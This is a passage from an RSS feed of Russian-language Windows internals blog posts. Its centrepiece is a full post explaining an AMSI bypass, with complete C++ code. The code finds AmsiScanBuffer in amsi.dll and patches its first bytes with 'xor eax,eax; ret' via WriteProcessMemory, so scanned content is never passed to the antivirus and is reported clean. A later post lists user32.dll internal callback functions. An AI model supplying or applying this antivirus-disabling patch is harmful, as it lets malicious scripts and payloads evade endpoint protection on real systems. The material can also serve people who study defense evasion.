VOID WINAPI WinSqmSetString<span class="br0">&#40;</span>HANDLE hSession, DWORD dwDataPointId, LPCWSTR unk3<span class="br0">&#41;</span>
<span class="br0">&#123;</span>
&nbsp;
<span class="br0">&#125;</span></pre></td></tr></table></div></td></tr></tbody></table></div><a href="https://www.cyberforum.ru/blogs/172954/blog6910.html">Исследование сервиса &quot;Обнаружение интерактивных служб&quot; (UI0Detect) Часть 2: Windows 8 - Windows 10</a><br />
<br />
Выкладываю исходники сервиса <a href="https://www.cyberforum.ru/blog_attachment.php?attachmentid=6702&amp;d=1610655135" >UI0Detect.7z</a> и его библиотеки <a href="https://www.cyberforum.ru/blog_attachment.php?attachmentid=6703&amp;d=1610655135" >WlS0WndH.7z</a><br />
UI0Detect так до ума и не довёл, но большую часть сделал - всё переименовал, чтобы не путаться в символах дизассемблера, осталось только написать DialogBox для него.</div>

]]></content:encoded>
			<dc:creator>_lunar_</dc:creator>
			<guid isPermaLink="true">https://www.cyberforum.ru/blogs/172954/6813.html</guid>
		</item>
		<item>
			<title>Обход Anti-Malware Scan Interface (AmsiScanBuffer bypass)</title>
			<link>https://www.cyberforum.ru/blogs/172954/6261.html</link>
			<pubDate>Wed, 01 Jan 2020 16:15:53 GMT</pubDate>
			<description>С релизом Windows 10 компания Microsoft представила новый интерфейс, который могут использовать...</description>
			<content:encoded><![CDATA[<div>С релизом Windows 10 компания Microsoft представила новый интерфейс, который могут использовать приложения и службы, отправляя «контент» поставщику антивирусного ПО, установленному в системе (например Windows Defender).<br />
Называется этот интерфейс Anti-Malware Scan Interface и представлен в системной библиотеке amsi.dll<br />
Данная библиотека имеет небольшой размер и полностью реверсится за пару дней. Но зачем утруждать себя лишней работой, если MS поставляет её исходный код в пакете SDK (amsi.h, amsi.lib).<br />
<br />
Для начала нужно понять что это такое и для чего используется.<br />
AMSI обеспечивает повышенную защиту от использования современных инструментов, тактик и процедур (TTP), обычно используемых во время атак вредоносным ПО.<br />
AMSI подключает, например, Windows Scripting Host (WSH) и PowerShell, для того, чтобы анализировать выполняемый контент. Этот контент «перехватывается» и отправляется в антивирусное обеспечение до его запуска.<br />
<br />
Чтобы увидеть как всё это работает, воспользуемся тестовым файлом проверки антивируса <a rel="nofollow noopener noreferrer" href="https://www.eicar.org/?page_id=3950" target="_blank" title="https://www.eicar.org/?page_id=3950">EICAR-Test-File</a><br />
<div class="codeblock"><table class="cpp"><thead><tr><td colspan="2" id="48373275"  class="head">C++</td></tr></thead><tbody><tr class="li1"><td><div id="48373275" style="height: 46px" class="codeframe"><table><tr class="li1"><td class="ln" style="padding: 0px 10px 0px 5px;"><pre class="de1">1
</pre></td><td class="de1"><pre class="de1"><span class="co2">#define EICAR &quot;X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*&quot;</span></pre></td></tr></table></div></td></tr></tbody></table></div>Эта строка была специально создана для анализа срабатывания антивирусов и не несёт в себе никакого исполняемого кода <a rel="nofollow noopener noreferrer" href="https://support.kaspersky.ru/common/diagnostics/7399" target="_blank" title="https://support.kaspersky.ru/common/diagnostics/7399">пруф от касперского</a><br />
<br />
Первое что нужно сделать - проинициализировать дескриптор контекста, который будет проверяться<br />
<div class="codeblock"><table class="cpp"><thead><tr><td colspan="2" id="648877982"  class="head">C++</td></tr></thead><tbody><tr class="li1"><td><div id="648877982" style="height: 62px" class="codeframe"><table><tr class="li1"><td class="ln" style="padding: 0px 10px 0px 5px;"><pre class="de1">1
2
</pre></td><td class="de1"><pre class="de1">HAMSICONTEXT AmsiContext <span class="sy1">=</span> <span class="kw2">nullptr</span><span class="sy4">;</span>
AmsiInitialize<span class="br0">&#40;</span><span class="br0">&#40;</span>PCWSTR<span class="br0">&#41;</span>EICAR, <span class="sy3">&amp;</span>AmsiContext<span class="br0">&#41;</span><span class="sy4">;</span></pre></td></tr></table></div></td></tr></tbody></table></div>Далее, инициализируем дескриптор сессии<br />
<div class="codeblock"><table class="cpp"><thead><tr><td colspan="2" id="249383500"  class="head">C++</td></tr></thead><tbody><tr class="li1"><td><div id="249383500" style="height: 62px" class="codeframe"><table><tr class="li1"><td class="ln" style="padding: 0px 10px 0px 5px;"><pre class="de1">1
2
</pre></td><td class="de1"><pre class="de1">HAMSISESSION AmsiSession <span class="sy1">=</span> <span class="kw2">nullptr</span><span class="sy4">;</span>
AmsiOpenSession<span class="br0">&#40;</span>AmsiContext, <span class="sy3">&amp;</span>AmsiSession<span class="br0">&#41;</span><span class="sy4">;</span></pre></td></tr></table></div></td></tr></tbody></table></div>И третье, собственно сканируем данные на предмет вредоносного контента<br />
<div class="codeblock"><table class="cpp"><thead><tr><td colspan="2" id="382938223"  class="head">C++</td></tr></thead><tbody><tr class="li1"><td><div id="382938223" style="height: 62px" class="codeframe"><table><tr class="li1"><td class="ln" style="padding: 0px 10px 0px 5px;"><pre class="de1">1
2
</pre></td><td class="de1"><pre class="de1">AMSI_RESULT Result<span class="br0">&#123;</span><span class="br0">&#125;</span><span class="sy4">;</span>
AmsiScanBuffer<span class="br0">&#40;</span>AmsiContext, <span class="br0">&#40;</span>PBYTE<span class="br0">&#41;</span>EICAR, <span class="kw3">sizeof</span><span class="br0">&#40;</span>EICAR<span class="br0">&#41;</span>, <span class="br0">&#40;</span>PCWSTR<span class="br0">&#41;</span>EICAR, AmsiSession, <span class="sy3">&amp;</span>Result<span class="br0">&#41;</span><span class="sy4">;</span></pre></td></tr></table></div></td></tr></tbody></table></div>В переменную Result вернётся значение, чем оно меньше (AMSI_RESULT_CLEAN или AMSI_RESULT_NOT_DETECTED) тем безопаснее контент.<br />
<br />
При выполнении данного кода, антивирус выдаст следующее (Result = AMSI_RESULT_DETECTED)<br />
<a href="https://www.cyberforum.ru/blog_attachment.php?attachmentid=5780&amp;d=1577894390" rel="Lightbox" id="attachment5780" ><img src="https://www.cyberforum.ru/blog_attachment.php?attachmentid=5780&amp;thumb=1&amp;d=1577894390" class="thumbnail" border="0" alt="Нажмите на изображение для увеличения
Название: 1.png
Просмотров: 1688
Размер:	13.8 Кб
ID:	5780" style="margin: 5px" /></a><br />
<br />
Чтобы обойти AMSI необходимо изучить ассемблерный код функции AmsiScanBuffer.<br />
Первые 24 байта этой функции дают полную уникальность относительно остального кода библиотеки amsi.dll<br />
Вот её сигнатура и маска<br />
<div class="codeblock"><table class="cpp"><thead><tr><td colspan="2" id="493985432"  class="head">C++</td></tr></thead><tbody><tr class="li1"><td><div id="493985432" style="height: 238px" class="codeframe"><table><tr class="li1"><td class="ln" style="padding: 0px 10px 0px 5px;"><pre class="de1">1
2
3
4
5
6
7
8
9
10
11
12
13
</pre></td><td class="de1"><pre class="de1">BYTE pattren_AmsiScanBuffer<span class="br0">&#91;</span><span class="nu0">24</span><span class="br0">&#93;</span> <span class="sy1">=</span>
<span class="br0">&#123;</span>
&nbsp; &nbsp; <span class="nu12">0x4C</span>,<span class="nu12">0x8B</span>,<span class="nu12">0xDC</span>, &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// mov r11,rsp</span>
&nbsp; &nbsp; <span class="nu12">0x49</span>,<span class="nu12">0x89</span>,<span class="nu12">0x5B</span>,<span class="nu12">0x08</span>,&nbsp; &nbsp; <span class="co1">// mov qword ptr ds:[r11+8],rbx</span>
&nbsp; &nbsp; <span class="nu12">0x49</span>,<span class="nu12">0x89</span>,<span class="nu12">0x6B</span>,<span class="nu12">0x10</span>,&nbsp; &nbsp; <span class="co1">// mov qword ptr ds:[r11+10],rbp</span>
&nbsp; &nbsp; <span class="nu12">0x49</span>,<span class="nu12">0x89</span>,<span class="nu12">0x73</span>,<span class="nu12">0x18</span>,&nbsp; &nbsp; <span class="co1">// mov qword ptr ds:[r11+18],rsi</span>
&nbsp; &nbsp; <span class="nu12">0x57</span>, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// push rdi</span>
&nbsp; &nbsp; <span class="nu12">0x41</span>,<span class="nu12">0x56</span>,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// push r14</span>
&nbsp; &nbsp; <span class="nu12">0x41</span>,<span class="nu12">0x57</span>,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// push r15</span>
&nbsp; &nbsp; <span class="nu12">0x48</span>,<span class="nu12">0x83</span>,<span class="nu12">0xEC</span>,<span class="nu12">0x70</span> &nbsp; &nbsp; <span class="co1">// sub rsp,70</span>
<span class="br0">&#125;</span><span class="sy4">;</span>
&nbsp;
PCCH mask_AmsiScanBuffer <span class="sy1">=</span> <span class="st0">&quot;xxxxxxxxxxxxxxxxxxxxxxxx&quot;</span><span class="sy4">;</span></pre></td></tr></table></div></td></tr></tbody></table></div>Суть обхода заключается в том, чтобы функция AmsiScanBuffer вернула в переменную Result как можно меньшее число.<br />
Для этого, нужно заставить AMSI не отправлять контент на проверку антивирусному обеспечению.<br />
<br />
Как можно видеть, первые 3 байта функции заняты инструкцией mov r11,rsp<br />
Этого количества байт вполне хватит для того, чтобы завершить функцию в самом начале её исполнения.<br />
Поэтому перепишем эти 3 байта следующими<br />
<div class="codeblock"><table class="asm"><thead><tr><td colspan="2" id="330242401"  class="head">Assembler</td></tr></thead><tbody><tr class="li1"><td><div id="330242401" style="height: 62px" class="codeframe"><table><tr class="li1"><td class="ln" style="padding: 0px 10px 0px 5px;"><pre class="de1">1
2
</pre></td><td class="de1"><pre class="de1"><span class="kw1">xor</span> <span class="kw4">eax</span><span class="sy1">,</span><span class="kw4">eax</span> &nbsp; &nbsp; <span class="co1">; 0x31,0xC0,</span>
<span class="kw1">ret</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">; 0xC3</span></pre></td></tr></table></div></td></tr></tbody></table></div>Ищем дескриптор библиотеки amsi.dll в памяти и переписываем его следующим образом<br />
<div class="codeblock"><table class="cpp"><thead><tr><td colspan="2" id="87178442"  class="head">C++</td></tr></thead><tbody><tr class="li1"><td><div id="87178442" style="height: 158px" class="codeframe"><table><tr class="li1"><td class="ln" style="padding: 0px 10px 0px 5px;"><pre class="de1">1
2
3
4
5
6
7
8
</pre></td><td class="de1"><pre class="de1">PVOID Addr <span class="sy1">=</span> GetProcAddress<span class="br0">&#40;</span>GetModuleHandle<span class="br0">&#40;</span><span class="st0">&quot;amsi&quot;</span><span class="br0">&#41;</span>, <span class="st0">&quot;AmsiScanBuffer&quot;</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp;
BYTE fake_AmsiScanBuffer<span class="br0">&#91;</span><span class="nu0">3</span><span class="br0">&#93;</span> <span class="sy1">=</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; <span class="nu12">0x31</span>,<span class="nu12">0xC0</span>,&nbsp; &nbsp; &nbsp; <span class="co1">// xor eax,eax</span>
&nbsp; &nbsp; <span class="nu12">0xC3</span>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// ret</span>
<span class="br0">&#125;</span><span class="sy4">;</span>
&nbsp;
WriteProcessMemory<span class="br0">&#40;</span>GetCurrentProcess<span class="br0">&#40;</span><span class="br0">&#41;</span>, Addr, <span class="sy3">&amp;</span>fake_AmsiScanBuffer, <span class="kw3">sizeof</span><span class="br0">&#40;</span>fake_AmsiScanBuffer<span class="br0">&#41;</span>, <span class="kw2">nullptr</span><span class="br0">&#41;</span><span class="sy4">;</span></pre></td></tr></table></div></td></tr></tbody></table></div>В итоге получаем вот такой код, при выполнении которого тестовый файл не будет отправлен на проверку антивирусу и AmsiScanBuffer вернёт AMSI_RESULT_CLEAN<br />
<div class="codeblock"><table class="cpp"><thead><tr><td colspan="2" id="487446508"  class="head">C++</td></tr></thead><tbody><tr class="li1"><td><div id="487446508" style="height: 350px" class="codeframe"><table><tr class="li1"><td class="ln" style="padding: 0px 10px 0px 5px;"><pre class="de1">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
</pre></td><td class="de1"><pre class="de1"><span class="co2">#include &lt;Windows.h&gt;</span>
<span class="co2">#include &lt;iostream&gt;</span>
<span class="co2">#include &lt;amsi.h&gt;</span>
&nbsp;
<span class="co2">#pragma comment(lib, &quot;amsi&quot;)</span>
&nbsp;
<span class="co2">#define EICAR &quot;X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*&quot;</span>
&nbsp;
<span class="kw4">int</span> main<span class="br0">&#40;</span><span class="br0">&#41;</span>
<span class="br0">&#123;</span>
&nbsp; &nbsp; HAMSICONTEXT AmsiContext <span class="sy1">=</span> <span class="kw2">nullptr</span><span class="sy4">;</span>
&nbsp; &nbsp; HAMSISESSION AmsiSession <span class="sy1">=</span> <span class="kw2">nullptr</span><span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; AmsiInitialize<span class="br0">&#40;</span><span class="br0">&#40;</span>PCWSTR<span class="br0">&#41;</span>EICAR, <span class="sy3">&amp;</span>AmsiContext<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; AmsiOpenSession<span class="br0">&#40;</span>AmsiContext, <span class="sy3">&amp;</span>AmsiSession<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; <span class="co1">//=========================================================================================================</span>
&nbsp;
&nbsp; &nbsp; PVOID Addr <span class="sy1">=</span> GetProcAddress<span class="br0">&#40;</span>GetModuleHandle<span class="br0">&#40;</span><span class="st0">&quot;amsi&quot;</span><span class="br0">&#41;</span>, <span class="st0">&quot;AmsiScanBuffer&quot;</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; BYTE fake_AmsiScanBuffer<span class="br0">&#91;</span><span class="nu0">3</span><span class="br0">&#93;</span> <span class="sy1">=</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="nu12">0x31</span>,<span class="nu12">0xC0</span>,&nbsp; &nbsp; &nbsp; <span class="co1">// xor eax,eax</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="nu12">0xC3</span>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// ret</span>
&nbsp; &nbsp; <span class="br0">&#125;</span><span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; WriteProcessMemory<span class="br0">&#40;</span>GetCurrentProcess<span class="br0">&#40;</span><span class="br0">&#41;</span>, Addr, <span class="sy3">&amp;</span>fake_AmsiScanBuffer, <span class="kw3">sizeof</span><span class="br0">&#40;</span>fake_AmsiScanBuffer<span class="br0">&#41;</span>, <span class="kw2">nullptr</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; <span class="co1">//=========================================================================================================</span>
&nbsp;
&nbsp; &nbsp; AMSI_RESULT Result<span class="br0">&#123;</span><span class="br0">&#125;</span><span class="sy4">;</span>
&nbsp; &nbsp; AmsiScanBuffer<span class="br0">&#40;</span>AmsiContext, <span class="br0">&#40;</span>PBYTE<span class="br0">&#41;</span>EICAR, <span class="kw3">sizeof</span><span class="br0">&#40;</span>EICAR<span class="br0">&#41;</span>, <span class="br0">&#40;</span>PCWSTR<span class="br0">&#41;</span>EICAR, AmsiSession, <span class="sy3">&amp;</span>Result<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; <span class="kw1">switch</span> <span class="br0">&#40;</span>Result<span class="br0">&#41;</span>
&nbsp; &nbsp; <span class="br0">&#123;</span>
&nbsp; &nbsp; <span class="kw1">case</span> AMSI_RESULT_CLEAN<span class="sy4">:</span>
&nbsp; &nbsp; &nbsp; &nbsp; std<span class="sy4">::</span><span class="kw3">cout</span> <span class="sy1">&lt;&lt;</span> <span class="st0">&quot;AMSI_RESULT_CLEAN&quot;</span> <span class="sy1">&lt;&lt;</span> std<span class="sy4">::</span><span class="me2">endl</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">break</span><span class="sy4">;</span>
&nbsp; &nbsp; <span class="kw1">case</span> AMSI_RESULT_NOT_DETECTED<span class="sy4">:</span>
&nbsp; &nbsp; &nbsp; &nbsp; std<span class="sy4">::</span><span class="kw3">cout</span> <span class="sy1">&lt;&lt;</span> <span class="st0">&quot;AMSI_RESULT_NOT_DETECTED&quot;</span> <span class="sy1">&lt;&lt;</span> std<span class="sy4">::</span><span class="me2">endl</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">break</span><span class="sy4">;</span>
&nbsp; &nbsp; <span class="kw1">case</span> AMSI_RESULT_BLOCKED_BY_ADMIN_START<span class="sy4">:</span>
&nbsp; &nbsp; &nbsp; &nbsp; std<span class="sy4">::</span><span class="kw3">cout</span> <span class="sy1">&lt;&lt;</span> <span class="st0">&quot;AMSI_RESULT_BLOCKED_BY_ADMIN_START&quot;</span> <span class="sy1">&lt;&lt;</span> std<span class="sy4">::</span><span class="me2">endl</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">break</span><span class="sy4">;</span>
&nbsp; &nbsp; <span class="kw1">case</span> AMSI_RESULT_BLOCKED_BY_ADMIN_END<span class="sy4">:</span>
&nbsp; &nbsp; &nbsp; &nbsp; std<span class="sy4">::</span><span class="kw3">cout</span> <span class="sy1">&lt;&lt;</span> <span class="st0">&quot;AMSI_RESULT_BLOCKED_BY_ADMIN_END&quot;</span> <span class="sy1">&lt;&lt;</span> std<span class="sy4">::</span><span class="me2">endl</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">break</span><span class="sy4">;</span>
&nbsp; &nbsp; <span class="kw1">case</span> AMSI_RESULT_DETECTED<span class="sy4">:</span>
&nbsp; &nbsp; &nbsp; &nbsp; std<span class="sy4">::</span><span class="kw3">cout</span> <span class="sy1">&lt;&lt;</span> <span class="st0">&quot;AMSI_RESULT_DETECTED&quot;</span> <span class="sy1">&lt;&lt;</span> std<span class="sy4">::</span><span class="me2">endl</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">break</span><span class="sy4">;</span>
&nbsp; &nbsp; <span class="kw1">default</span><span class="sy4">:</span>
&nbsp; &nbsp; &nbsp; &nbsp; std<span class="sy4">::</span><span class="kw3">cout</span> <span class="sy1">&lt;&lt;</span> <span class="st0">&quot;N/A&quot;</span> <span class="sy1">&lt;&lt;</span> std<span class="sy4">::</span><span class="me2">endl</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">break</span><span class="sy4">;</span>
&nbsp; &nbsp; <span class="br0">&#125;</span>
&nbsp;
&nbsp; &nbsp; std<span class="sy4">::</span><span class="kw3">cout</span> <span class="sy1">&lt;&lt;</span> <span class="st0">&quot;<span class="es1">\n</span>Press enter for the close amsi session and exit from app.&quot;</span> <span class="sy1">&lt;&lt;</span> std<span class="sy4">::</span><span class="me2">endl</span><span class="sy4">;</span>
&nbsp; &nbsp; std<span class="sy4">::</span><span class="kw3">cin</span>.<span class="me1">get</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; AmsiCloseSession<span class="br0">&#40;</span>AmsiContext, AmsiSession<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; AmsiUninitialize<span class="br0">&#40;</span>AmsiContext<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; <span class="kw1">return</span> <span class="nu0">0</span><span class="sy4">;</span>
<span class="br0">&#125;</span></pre></td></tr></table></div></td></tr></tbody></table></div></div>

]]></content:encoded>
			<dc:creator>_lunar_</dc:creator>
			<guid isPermaLink="true">https://www.cyberforum.ru/blogs/172954/6261.html</guid>
		</item>
		<item>
			<title>Windows Internal на примере user32.dll!__ClientLoadLibrary (Часть 1.0)</title>
			<link>https://www.cyberforum.ru/blogs/172954/6136.html</link>
			<pubDate>Tue, 29 Oct 2019 13:15:14 GMT</pubDate>
			<description>Internal (или внутренние) функции операционной системы Windows как известно не входят в таблицу...</description>
			<content:encoded><![CDATA[<div>Internal (или внутренние) функции операционной системы Windows как известно не входят в таблицу экспорта и используются исключительно самой библиотекой для различных вычислений.<br />
Кроме того, системные библиотеки Windows условно можно разделить на 2 группы:<br />
- пользовательские (библиотеки, функции которых можно использовать в UserMode (также известный как Ring3));<br />
- ядерные (библиотеки, к функциям которых доступ ограничен из Ring3, и при попытке их исполнения можно лишь только славить EXCEPTION_ACCESS_VIOLATION или в максимально возможном случае (права администратора + привилегия отладчика + выполнение из-под SYSTEM процесс (например svchost.exe) <a href="https://www.cyberforum.ru/post13808118.html">пример</a>) исключение после выполнения первой инструкции EXCEPTION_PRIV_INSTRUCTION).<br />
К пользовательским библиотекам можно отнести kernel32.dll, KernelBase.dll, advapi32.dll, gdi32.dll, user32.dll (эти библиотеки образуют WinAPI), а также часть функций ntdll.dll (известных как NativeAPI).<br />
Любая функция из WinAPI делает вызов своего прототипа в NativeAPI, а уже из ntdll.dll осуществляется переход в ядро системы (по средствам вызова инструкции <a rel="nofollow noopener noreferrer" href="https://software.intel.com/sites/default/files/managed/7c/f1/253667-sdm-vol-2b.pdf" target="_blank" title="https://software.intel.com/sites/default/files/managed/7c/f1/253667-sdm-vol-2b.pdf">sysenter</a> и <a rel="nofollow noopener noreferrer" href="https://habr.com/ru/post/347596/" target="_blank" title="https://habr.com/ru/post/347596/">syscall</a> или int 2e на старых операционных системах).<br />
К ядерным библиотекам можно отнести csrsrv.dll, win32k.sys ну и конечно же само ядро ntoskrnl.exe<br />
Ниже ядра только <a rel="nofollow noopener noreferrer" href="https://ru.wikipedia.org/wiki/Слой_аппаратных_абстракций" target="_blank" title="https://ru.wikipedia.org/wiki/Слой_аппаратных_абстракций">слой аппаратных абстракций</a> (hal.dll), обеспечивающий взаимодействие аппаратного обеспечения с программным обеспечением.<br />
<br />
Большинство Internal функций WinAPI не взаимодействуют с NativeAPI, тем самым, этими функциями можно управлять из-под UserMode, при этом система ничего не будет знать об этом.<br />
Как это выглядит в действительности можно почитать на примере разбора <a rel="nofollow noopener noreferrer" href="https://securelist.ru/cve-2018-8453-used-in-targeted-attacks/91658/" target="_blank" title="https://securelist.ru/cve-2018-8453-used-in-targeted-attacks/91658/">Эксплойта нулевого дня</a> специалистами Kaspersky Lab. Суть уязвимости заключается в перехвате функций fnDWORD, fnNCDESTROY и fnINLPCREATESTRUCT и последующего запуска серии хуков (также прикрепил pdf данной статьи, на случай если ссылка не актуальна <a href="https://www.cyberforum.ru/blog_attachment.php?attachmentid=5685&amp;d=1572932253" target="_blank">Эксплойт нулевого дня (CVE-2018-8453) в целевых атаках.pdf</a>)<br />
<br />
Мы же рассмотрим пример иного характера - внутреннюю функцию __ClientLoadLibrary пользовательской библиотеки user32.dll<br />
<br />
В библиотеке user32.dll есть диспетчер под названием apfnDispatch, который является тоже внутренним и не экспортируется.<br />
В этом диспетчере содержатся Internal функции различного характера, вот их список (актуален для Windows 10 1903)<br />

			   <div class="spoiler-wrap">
				   <div class="spoiler-head folded clickable">Кликните здесь для просмотра всего текста</div>
				   <div class="spoiler-body">
					   apfnDispatch<br />
dq offset __fnCOPYDATA<br />
dq offset __fnCOPYGLOBALDATA<br />
dq offset __fnDWORD<br />
dq offset __fnNCDESTROY<br />
dq offset __fnDWORDOPTINLPMSG<br />
dq offset __fnINOUTDRAG<br />
dq offset __fnGETTEXTLENGTHS<br />
dq offset __fnINCNTOUTSTRING<br />
dq offset __fnPOUTLPINT                        // в х32 здесь находится __fnINCNTOUTSTRINGNULL, и при этом в символах х64 имя функции также __fnINCNTOUTSTRINGNULL<br />
dq offset __fnINLPCOMPAREITEMSTRUCT<br />
dq offset __fnINLPCREATESTRUCT<br />
dq offset __fnINLPDELETEITEMSTRUCT<br />
dq offset __fnINLPDRAWITEMSTRUCT<br />
dq offset __fnPOPTINLPUINT<br />
dq offset __fnPOPTINLPUINT<br />
dq offset __fnINLPMDICREATESTRUCT<br />
dq offset __fnINOUTLPMEASUREITEMSTRUCT<br />
dq offset __fnINLPWINDOWPOS<br />
dq offset __fnINOUTLPPOINT5<br />
dq offset __fnINOUTLPSCROLLINFO<br />
dq offset __fnINOUTLPRECT<br />
dq offset __fnINOUTNCCALCSIZE<br />
dq offset __fnINOUTLPPOINT5<br />
dq offset __fnINPAINTCLIPBRD<br />
dq offset __fnINSIZECLIPBRD<br />
dq offset __fnINDESTROYCLIPBRD<br />
dq offset __fnINSTRINGNULL<br />
dq offset __fnINSTRINGNULL<br />
dq offset __fnINDEVICECHANGE<br />
dq offset __fnPOWERBROADCAST<br />
dq offset __fnINLPUAHDRAWMENU<br />
dq offset __fnOPTOUTLPDWORDOPTOUTLPDWORD<br />
dq offset __fnOPTOUTLPDWORDOPTOUTLPDWORD<br />
dq offset __fnOUTDWORDINDWORD<br />
dq offset __fnOUTLPRECT<br />
dq offset __fnOUTSTRING<br />
dq offset __fnPOPTINLPUINT<br />
dq offset __fnPOUTLPINT<br />
dq offset __fnSENTDDEMSG<br />
dq offset __fnINOUTSTYLECHANGE<br />
dq offset __fnHkINDWORD<br />
dq offset __fnHkINLPCBTACTIVATESTRUCT<br />
dq offset __fnHkINLPCBTCREATESTRUCT<br />
dq offset __fnHkINLPDEBUGHOOKSTRUCT<br />
dq offset __fnHkINLPMOUSEHOOKSTRUCTEX<br />
dq offset __fnHkINLPKBDLLHOOKSTRUCT<br />
dq offset __fnHkINLPMSLLHOOKSTRUCT<br />
dq offset __fnHkINLPMSG<br />
dq offset __fnHkINLPRECT<br />
dq offset __fnHkOPTINLPEVENTMSG<br />
dq offset __xxxClientCallDelegateThread<br />
dq offset __ClientCallDummyCallback2<br />
dq offset __fnKEYBOARDCORRECTIONCALLOUT<br />
dq offset __fnOUTLPCOMBOBOXINFO<br />
dq offset __fnINLPCOMPAREITEMSTRUCT<br />
dq offset __ClientCallDummyCallback2<br />
dq offset __xxxClientCallDitThread<br />
dq offset __xxxClientEnableMMCSS<br />
dq offset __xxxClientUpdateDpi<br />
dq offset __xxxClientExpandStringW<br />
dq offset __ClientCopyDDEIn1<br />
dq offset __ClientCopyDDEIn2<br />
dq offset __ClientCopyDDEOut1<br />
dq offset __ClientCopyDDEOut2<br />
dq offset __ClientCopyImage<br />
dq offset __ClientEventCallback<br />
dq offset __ClientFindMnemChar<br />
dq offset __ClientFreeDDEHandle<br />
dq offset __ClientFreeLibrary<br />
dq offset __ClientGetCharsetInfo<br />
dq offset __ClientGetDDEFlags<br />
dq offset __ClientGetDDEHookData<br />
dq offset __ClientGetListboxString<br />
dq offset __ClientGetMessageMPH<br />
dq offset __ClientLoadImage<br />
dq offset __ClientLoadLibrary<br />
dq offset __ClientLoadMenu<br />
dq offset __ClientLoadLocalT1Fonts<br />
dq offset __ClientPSMTextOut<br />
dq offset __ClientLpkDrawTextEx<br />
dq offset __ClientExtTextOutW<br />
dq offset __ClientGetTextExtentPointW<br />
dq offset __ClientCharToWchar<br />
dq offset __ClientAddFontResourceW<br />
dq offset __ClientThreadSetup<br />
dq offset __ClientDeliverUserApc<br />
dq offset __ClientNoMemoryPopup<br />
dq offset __ClientMonitorEnumProc<br />
dq offset __ClientCallWinEventProc<br />
dq offset __ClientWaitMessageExMPH<br />
dq offset __ClientWOWGetProcModule<br />
dq offset __ClientWOWTask16SchedNotify<br />
dq offset __ClientImmLoadLayout<br />
dq offset __ClientImmProcessKey<br />
dq offset __fnIMECONTROL<br />
dq offset __fnINWPARAMDBCSCHAR<br />
dq offset __fnGETTEXTLENGTHS<br />
dq offset __fnINLPKDRAWSWITCHWND<br />
dq offset __ClientLoadStringW<br />
dq offset __ClientLoadOLE<br />
dq offset __ClientRegisterDragDrop<br />
dq offset __ClientRevokeDragDrop<br />
dq offset __fnINOUTMENUGETOBJECT<br />
dq offset __ClientPrinterThunk<br />
dq offset __fnOUTLPCOMBOBOXINFO<br />
dq offset __fnOUTLPSCROLLBARINFO<br />
dq offset __fnINLPUAHDRAWMENU<br />
dq offset __fnINLPUAHDRAWMENUITEM<br />
dq offset __fnINLPUAHDRAWMENU<br />
dq offset __fnINOUTLPUAHMEASUREMENUITEM<br />
dq offset __fnINLPUAHDRAWMENU<br />
dq offset __fnOUTLPTITLEBARINFOEX<br />
dq offset __fnTOUCH<br />
dq offset __fnGESTURE<br />
dq offset __fnPOPTINLPUINT<br />
dq offset __fnPOPTINLPUINT<br />
dq offset __xxxClientCallDefaultInputHandler<br />
dq offset __fnEMPTY<br />
dq offset __ClientRimDevCallback<br />
dq offset __xxxClientCallMinTouchHitTestingCallbac k<br />
dq offset __ClientCallLocalMouseHooks<br />
dq offset __xxxClientBroadcastThemeChange<br />
dq offset __xxxClientCallDevCallbackSimple<br />
dq offset __xxxClientAllocWindowClassExtraBytes<br />
dq offset __xxxClientFreeWindowClassExtraBytes<br />
dq offset __fnGETWINDOWDATA<br />
dq offset __fnINOUTSTYLECHANGE<br />
dq offset __fnHkINLPMOUSEHOOKSTRUCTEX
				   </div>
			   </div><br />
Расписывать каждую функцию я не буду, может быть какие-то интересные в следующих блогах :)<br />
А сейчас рассмотрим __ClientLoadLibrary.<br />
Как ни странно, но использование __ClientLoadLibrary может стать защитой от внедрения dll средствами SetWindowsHookEx.<br />
